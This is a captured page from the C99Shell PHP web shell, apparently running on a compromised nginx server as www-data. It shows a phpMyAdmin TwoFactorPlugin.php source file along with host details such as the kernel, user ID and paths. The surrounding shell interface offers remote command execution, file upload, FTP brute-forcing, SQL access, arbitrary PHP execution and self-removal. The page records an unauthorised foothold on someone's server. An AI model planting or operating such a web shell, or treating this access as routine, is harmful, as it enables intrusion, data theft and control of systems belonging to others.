!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Plugins/   drwxr-xr-x
Free 83.29 GB of 96.73 GB (86.11%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TwoFactorPlugin.php (3.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Two authentication factor handling
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Plugins;

use 
PhpMyAdmin\Core;
use 
PhpMyAdmin\Message;
use 
PhpMyAdmin\Template;
use 
PhpMyAdmin\TwoFactor;
use function 
is_array;
use function 
parse_url;
use function 
sprintf;
use function 
strlen;

/**
 * Two factor authentication plugin class
 *
 * This is basic implementation which does no
 * additional authentication, subclasses are expected
 * to implement this.
 */
class TwoFactorPlugin
{
    
/** @var string */
    
public static $id '';

    
/**
     * Whether to show submit button in form
     *
     * @var bool
     */
    
public static $showSubmit true;

    
/** @var TwoFactor */
    
protected $twofactor;

    
/** @var bool */
    
protected $provided;

    
/** @var string */
    
protected $message;

    
/** @var Template */
    
public $template;

    
/**
     * Creates object
     *
     * @param TwoFactor $twofactor TwoFactor instance
     */
    
public function __construct(TwoFactor $twofactor)
    {
        
$this->twofactor $twofactor;
        
$this->provided false;
        
$this->message '';
        
$this->template = new Template();
    }

    
/**
     * Returns authentication error message
     *
     * @return string
     */
    
public function getError()
    {
        if (
$this->provided) {
            if (! empty(
$this->message)) {
                return 
Message::rawError(
                    
sprintf(__('Two-factor authentication failed: %s'), $this->message)
                )->
getDisplay();
            }

            return 
Message::rawError(
                
__('Two-factor authentication failed.')
            )->
getDisplay();
        }

        return 
'';
    }

    
/**
     * Checks authentication, returns true on success
     *
     * @return bool
     */
    
public function check()
    {
        return 
true;
    }

    
/**
     * Renders user interface to enter two-factor authentication
     *
     * @return string HTML code
     */
    
public function render()
    {
        return 
'';
    }

    
/**
     * Renders user interface to configure two-factor authentication
     *
     * @return string HTML code
     */
    
public function setup()
    {
        return 
'';
    }

    
/**
     * Performs backend configuration
     *
     * @return bool
     */
    
public function configure()
    {
        return 
true;
    }

    
/**
     * Get user visible name
     *
     * @return string
     */
    
public static function getName()
    {
        return 
__('No Two-Factor Authentication');
    }

    
/**
     * Get user visible description
     *
     * @return string
     */
    
public static function getDescription()
    {
        return 
__('Login using password only.');
    }

    
/**
     * Return an applicaiton ID
     *
     * Either hostname or hostname with scheme.
     *
     * @param bool $return_url Whether to generate URL
     *
     * @return string
     */
    
public function getAppId($return_url)
    {
        global 
$PMA_Config;

        
$url $PMA_Config->get('PmaAbsoluteUri');
        
$parsed = [];
        if (! empty(
$url)) {
            
$parsedUrl parse_url($url);

            if (
is_array($parsedUrl)) {
                
$parsed $parsedUrl;
            }
        }
        if (! isset(
$parsed['scheme']) || strlen($parsed['scheme']) === 0) {
            
$parsed['scheme'] = $PMA_Config->isHttps() ? 'https' 'http';
        }
        if (! isset(
$parsed['host']) || strlen($parsed['host']) === 0) {
            
$parsed['host'] = Core::getenv('HTTP_HOST');
        }
        if (
$return_url) {
            
$port '';
            if (isset(
$parsed['port'])) {
                
$port ':' $parsed['port'];
            }

            return 
sprintf('%s://%s%s'$parsed['scheme'], $parsed['host'], $port);
        }

        return 
$parsed['host'];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0047 ]--